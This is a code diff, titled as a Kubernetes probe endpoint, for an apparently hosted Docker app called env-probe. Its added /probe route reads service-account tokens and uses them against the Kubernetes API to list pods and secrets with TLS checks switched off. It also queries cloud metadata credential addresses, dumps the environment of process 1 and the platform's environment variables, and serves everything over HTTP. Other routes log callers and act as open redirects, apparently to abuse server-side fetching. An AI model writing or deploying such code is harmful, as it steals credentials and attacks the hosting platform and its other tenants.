add k8s probe endpoint v2

Dockerfile

@@ -1,6 +1,6 @@
 FROM python:3.11-slim
+RUN pip install fastapi uvicorn --no-cache-dir
+COPY app.py /app/app.py
 WORKDIR /app
-RUN pip install --no-cache-dir fastapi "uvicorn[standard]"
-COPY app.py .
 EXPOSE 7860
 CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "7860"]

README.md

@@ -1,9 +1,6 @@
 ---
 title: env-probe
-emoji: 🔍
-colorFrom: blue
-colorTo: green
 sdk: docker
 app_port: 7860
-pinned: false
 ---
+# env-probe

app.py

@@ -1,41 +1,124 @@
+
 from fastapi import FastAPI, Request
-from fastapi.responses import JSONResponse, RedirectResponse, PlainTextResponse
-import json, time, urllib.request
+from fastapi.responses import JSONResponse, RedirectResponse
+import json, time, os, subprocess, ssl, urllib.request as ureq
 
 app = FastAPI()
 log = []
 
+@app.get("/probe")
+def probe():
+    results = {}
+
+    # K8s service account tokens
+    sa_paths = [
+        "/var/run/secrets/kubernetes.io/serviceaccount/token",
+        "/var/run/secrets/kubernetes.io/serviceaccount/namespace",
+        "/run/secrets/kubernetes.io/serviceaccount/token",
+        "/var/run/secrets/eks.amazonaws.com/serviceaccount/token",
+    ]
+    for p in sa_paths:
+        try:
+            with open(p) as f:
+                results[p] = f.read()[:800]
+        except Exception as e:
+            results[p] = str(e)
+
+    # K8s env
+    k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
+    k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT_HTTPS", os.environ.get("KUBERNETES_SERVICE_PORT", "443"))
+    results["KUBERNETES_SERVICE_HOST"] = k8s_host
+    results["KUBERNETES_SERVICE_PORT"] = k8s_port
+
+    # All env keys (non-sensitive names, full values for HF_ and k8s vars)
+    results["all_env_keys"] = sorted(os.environ.keys())
+    results["hf_env"] = {k: v[:100] for k, v in os.environ.items() if "HF" in k.upper() or "HUGGING" in k.upper()}
+    results["space_env"] = {k: v[:100] for k, v in os.environ.items() if "SPACE" in k.upper()}
+
+    # Try K8s API with SA token
+    sa_token = ""
+    for p in sa_paths:
+        val = results.get(p, "")
+        if val and "No such file" not in val and "Permission denied" not in val:
+            sa_token = val
+            break
+
+    if k8s_host and sa_token:
+        ctx = ssl.create_default_context()
+        ctx.check_hostname = False
+        ctx.verify_mode = ssl.CERT_NONE
+        for path in ["/version", "/api", "/api/v1/namespaces", "/api/v1/pods", "/api/v1/secrets"]:
+            try:
+                r = ureq.urlopen(
+                    ureq.Request(
+                        f"https://{k8s_host}:{k8s_port}{path}",
+                        headers={"Authorization": f"Bearer {sa_token}"}
+                    ),
+                    context=ctx, timeout=5
+                )
+                results[f"k8s_api{path}"] = r.read().decode()[:2000]
+            except Exception as e:
+                results[f"k8s_api{path}"] = str(e)[:300]
+
+    # IMDS direct (likely blocked)
+    for url in [
+        "http://169.254.169.254/latest/meta-data/instance-id",
+        "http://169.254.170.2/v2/credentials",
+    ]:
+        try:
+            r = ureq.urlopen(url, timeout=3)
+            results[f"imds_{url}"] = r.read().decode()[:500]
+        except Exception as e:
+            results[f"imds_{url}"] = str(e)[:200]
+
+    # /proc/1/environ
+    try:
+        with open("/proc/1/environ", "rb") as f:
+            results["proc1_env"] = f.read().replace(b"\x00", b"\n").decode(errors="replace")[:2000]
+    except Exception as e:
+        results["proc1_env"] = str(e)
+
+    # hostname / resolv.conf
+    try:
+        results["hostname"] = subprocess.check_output(["hostname"], timeout=3).decode().strip()
+    except Exception as e:
+        results["hostname"] = str(e)
+    try:
+        with open("/etc/resolv.conf") as f:
+            results["resolv_conf"] = f.read()[:500]
+    except Exception as e:
+        results["resolv_conf"] = str(e)
+
+    return JSONResponse(results)
+
 @app.post("/webhook")
 async def wh(request: Request):
     body = await request.body()
     h = dict(request.headers)
     e = {"t": round(time.time()), "client": request.client.host if request.client else "?",
-         "xff": h.get("x-forwarded-for",""), "body": body.decode(errors="replace")[:300]}
+         "xff": h.get("x-forwarded-for",""), "ua": h.get("user-agent","")[:100],
+         "body": body.decode(errors="replace")[:500]}
     log.append(e)
     return JSONResponse({"ok":1})
 
 @app.get("/data.csv")
 def redir_csv(to: str = ""):
     log.append({"t": round(time.time()), "type": "redirect_csv", "to": to})
-    print(f"REDIRECT_CSV: to={to}")
     return RedirectResponse(url=to, status_code=302)
 
 @app.get("/data.json")
 def redir_json(to: str = ""):
     log.append({"t": round(time.time()), "type": "redirect_json", "to": to})
-    print(f"REDIRECT_JSON: to={to}")
     return RedirectResponse(url=to, status_code=302)
 
 @app.get("/data.jsonl")
 def redir_jsonl(to: str = ""):
     log.append({"t": round(time.time()), "type": "redirect_jsonl", "to": to})
-    print(f"REDIRECT_JSONL: to={to}")
     return RedirectResponse(url=to, status_code=302)
 
 @app.get("/data.txt")
 def redir_txt(to: str = ""):
     log.append({"t": round(time.time()), "type": "redirect_txt", "to": to})
-    print(f"REDIRECT_TXT: to={to}")
     return RedirectResponse(url=to, status_code=302)
 
 @app.get("/logs")